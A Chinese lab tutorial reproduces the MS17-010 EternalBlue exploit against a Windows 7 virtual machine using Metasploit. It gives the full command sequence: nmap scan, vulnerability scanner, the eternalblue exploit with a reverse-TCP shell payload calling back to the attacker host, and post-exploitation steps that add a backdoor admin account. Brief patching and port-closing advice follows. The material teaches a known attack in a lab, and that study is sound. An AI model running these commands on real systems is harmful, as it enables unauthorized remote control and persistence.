《MS17-010(永恒之蓝)—漏洞复现及防范》
阅读原文时间:2023年07月26日阅读:1

作者: susususuao

免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

- 永恒之蓝

永恒之蓝(Eternal Blue)是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。而SMB服务是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机、邮件槽(mailslot)、命名管道等资源。而永恒之蓝则通过TCP端口(445)和(139)端口来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器里进行一系列的危险操作。 如远程控制木马,获取最高权限等。

- 危害

恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。影响版本可以参考MS17-010介绍

1. 环境部署

  • 靶机 : Windows 7虚拟机 IP:192.168.5.139
  • 攻击机 :Kali-Linux-2021虚拟机 IP:192.168.5.133

2. 工具

这里就使用Kali自带的Metasploit工具。

MSF是一款高度模块化,即框架由多个module组成,是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。MSF涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。是全球最受欢迎的工具。

3. 开始复现

  • MS17-010漏洞是通过TCP端口445端进行远程代码执行的,所以我们在Kali先对Window 7进行Nmap扫描看看是否开启了445端口。

    # nmap -v 192.168.5.139 //进行端口信息扫描,发现445端口是开发中的。

  • 通过执行msfconsole指令进行启动

    # msfconsole //启动

  • 搜索ms17-010相关漏洞利用模块

    msf6 > search ms17_010 //搜索相关模块,其中下面框出的一个是辅助模块一个是攻击模块。

  • 进入auxiliary辅助模块,对 Window 7进行扫描,查看是否存在漏洞。

    msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.5.139 //这里直接输入靶机IP,不用输入所在网段。
    rhosts => 192.168.5.0/24
    msf6 auxiliary(scanner/smb/smb_ms17_010) > set threads 15 //设置线程,越大越快
    threads => 15
    msf6 auxiliary(scanner/smb/smb_ms17_010) > show options //查看刚才设置有没有生成
    msf6 auxiliary(scanner/smb/smb_ms17_010) > run //开始运行

这里说明192.168.5.139的主机存在该漏洞,所以我们可以对它进行攻击入侵。

  • 进行exploit攻击模块,配置相关参数开始入侵。

    msf6 auxiliary(scanner/smb/smb_ms17_010) > back //退出辅助模块
    msf6 > use exploit/windows/smb/ms17_010_eternalblue //进入攻击模块
    msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets //可以查看那些系统可以复现。
    设置漏洞利用完成后的反弹模块,用以接收回馈信息:
    msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads //查看有哪些载荷
    msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell //过滤出我们需要的载荷
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp //使用这个载荷
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.5.133 //设置反弹IP地址(Kali)
    lhost => 192.168.5.133
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444 //设置反弹端口
    lport => 4444
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.5.139 //设置被攻击的目标主机IP(Window 7)
    rhosts => 192.168.5.139
    msf6 exploit(windows/smb/ms17_010_eternalblue) > show options //查看是否设置成功
    msf6 exploit(windows/smb/ms17_010_eternalblue) > run //运行

出现下面显示则说明已经入侵成功

  • 操控Windows 7

    C:\Windows\system32>ipconfig //我们会发现乱码
    C:\Windows\system32>chcp 65001 //改变代码页(65001为UTF-8的代码页)
    chcp 65001
    Active code page: 65001
    C:\Windows\system32>ipconfig //这回我们发现可以正常显示了
    C:\Windows\system32>net user admin admin /add 创建admin用户,密码为admin。

更多相关用法可以在网上搜索,在这我就不罗列出来了!

这里我们知道MS17-010漏洞是利用SMB服务漏洞入侵的,而SMB服务使用的是TCP端口(445)和(139)端口,所以我们可以通过下面方法进行防范,在这我就不在演示了。

  1. 关闭不必要的端口,尤其是445端口。
  2. 打开防火墙,安装安全软件。
  3. 安装对应补丁。

为了维持操作系统的安全性,减少不必要的损失,我们要对操作系统及时进行更新系统,安装相关补丁,关闭不必要的服务和端口。